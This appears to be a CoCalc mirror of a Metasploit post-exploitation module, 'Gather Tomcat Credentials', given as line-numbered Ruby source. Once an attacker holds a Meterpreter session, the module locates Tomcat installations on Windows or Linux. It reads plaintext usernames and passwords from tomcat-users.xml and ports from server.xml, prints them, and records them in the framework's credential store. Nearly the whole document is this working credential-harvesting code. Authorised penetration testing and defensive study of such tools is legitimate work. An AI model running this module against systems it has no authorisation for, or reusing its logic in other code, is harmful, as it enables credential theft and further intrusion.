CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/tomcat_gather.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Windows::Services
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Gather Tomcat Credentials',
15
'Description' => %q{
16
This module will attempt to collect credentials from Tomcat services running on the machine.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [
20
'Koen Riepe <[email protected]>', # Module author
21
],
22
'Platform' => [ 'win', 'linux' ],
23
'SessionTypes' => [ 'meterpreter' ]
24
)
25
)
26
end
27
28
$username = []
29
$password = []
30
$port = []
31
$paths = []
32
33
def report_creds(user, pass, port)
34
return if (user.empty? || pass.empty?)
35
36
# Assemble data about the credential objects we will be creating
37
credential_data = {
38
origin_type: :session,
39
post_reference_name: fullname,
40
private_data: pass,
41
private_type: :password,
42
session_id: session_db_id,
43
username: user,
44
workspace_id: myworkspace_id
45
}
46
47
credential_core = create_credential(credential_data)
48
49
if !port.is_a? Integer
50
port = 8080
51
print_status("Port not an Integer, defaulting to port #{port} for creds database")
52
end
53
54
login_data = {
55
core: credential_core,
56
status: Metasploit::Model::Login::Status::UNTRIED,
57
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
58
port: port,
59
service_name: 'Tomcat',
60
protocol: 'tcp',
61
workspace_id: myworkspace_id
62
}
63
create_credential_login(login_data)
64
end
65
66
def gatherwin
67
print_status('Windows OS detected, enumerating services')
68
tomcatHomeArray = []
69
service_list.each do |service|
70
if service[:name].downcase.include? 'tomcat'
71
print_good('Tomcat service found')
72
tomcatHomeArray.push(service_info(service[:name])[:path].split('\\bin\\')[0])
73
end
74
end
75
76
if !tomcatHomeArray.empty?
77
tomcatHomeArray.each do |tomcat_home|
78
if tomcat_home.include? '"'
79
tomcat_home = tomcat_home.split('"')[1]
80
end
81
82
conf_path = "#{tomcat_home}\\conf\\tomcat-users.xml"
83
84
if exist?(conf_path)
85
print_status("#{conf_path} found!")
86
xml = read_file(conf_path).split("\n")
87
88
comment_block = false
89
xml.each do |line|
90
if line.include?('<user username=') && !comment_block
91
$username.push(line.split('<user username="')[1].split('"')[0])
92
$password.push(line.split('password="')[1].split('"')[0])
93
$paths.push(conf_path)
94
elsif line.include?('<!--')
95
comment_block = true
96
elsif line.include?(('-->')) && comment_block
97
comment_block = false
98
end
99
end
100
end
101
102
port_path = "#{tomcat_home}\\conf\\server.xml"
103
if exist?(port_path)
104
xml = read_file(port_path).split("\n")
105
end
106
comment_block = false
107
xml.each do |line|
108
if line.include?('<Connector') && !comment_block
109
i = 0
110
while i < $username.count
111
$port.push(line.split('<Connector port="')[1].split('"')[0].to_i)
112
i += 1
113
end
114
elsif line.include?('<!--')
115
comment_block = true
116
elsif line.include?(('-->')) && comment_block
117
comment_block = false
118
end
119
end
120
end
121
else
122
print_status('No Tomcat home can be determined')
123
end
124
end
125
126
def gathernix
127
print_status('Unix OS detected')
128
user_files = cmd_exec('locate tomcat-users.xml').split("\n")
129
if !user_files.empty?
130
user_files.each do |path|
131
next unless exist?(path)
132
133
print_status("#{path} found")
134
begin
135
xml = read_file(path).split("\n")
136
comment_block = false
137
xml.each do |line|
138
if line.include?('<user username=') && !comment_block
139
$username.push(line.split('<user username="')[1].split('"')[0])
140
$password.push(line.split('password="')[1].split('"')[0])
141
$paths.push(path)
142
elsif line.include?('<!--')
143
comment_block = true
144
elsif line.include?(('-->')) && comment_block
145
comment_block = false
146
end
147
end
148
rescue StandardError
149
print_error("Cannot open #{path} you probably don't have permission to open the file or parsing failed")
150
end
151
end
152
else
153
print_status('No tomcat installation has been detected')
154
end
155
156
port_path = cmd_exec('locate server.xml').split("\n")
157
if !port_path.empty?
158
port_path.each do |path|
159
next unless exist?(path) && path.include?('tomcat')
160
161
print_status("Attempting to extract Tomcat listening ports from #{path}")
162
begin
163
xml = read_file(path).split("\n")
164
comment_block = false
165
xml.each do |line|
166
if line.include?('<Connector') && !comment_block
167
i = 0
168
while i < $username.count
169
$port.push(line.split('<Connector port="')[1].split('"')[0].to_i)
170
i += 1
171
end
172
elsif line.include?('<!--')
173
comment_block = true
174
elsif line.include?(('-->')) && comment_block
175
comment_block = false
176
end
177
end
178
rescue StandardError
179
print_status("Cannot open #{path} you probably don't have permission to open the file or parsing failed")
180
end
181
end
182
else
183
print_status('Failed to detect tomcat service port')
184
end
185
end
186
187
def run
188
if sysinfo
189
if sysinfo['OS'].include? 'Windows'
190
gatherwin
191
else
192
gathernix
193
end
194
else
195
print_error('Incompatible session type, sysinfo is not available.')
196
end
197
198
if $username.empty?
199
print_status('No user credentials have been found')
200
end
201
202
i = 0
203
while i < $username.count
204
print_good("Username and password found in #{$paths[i]} - #{$username[i]}:#{$password[i]}")
205
report_creds($username[i], $password[i], $port[i])
206
i += 1
207
end
208
209
$username = []
210
$password = []
211
$port = []
212
$paths = []
213
end
214
end
215
216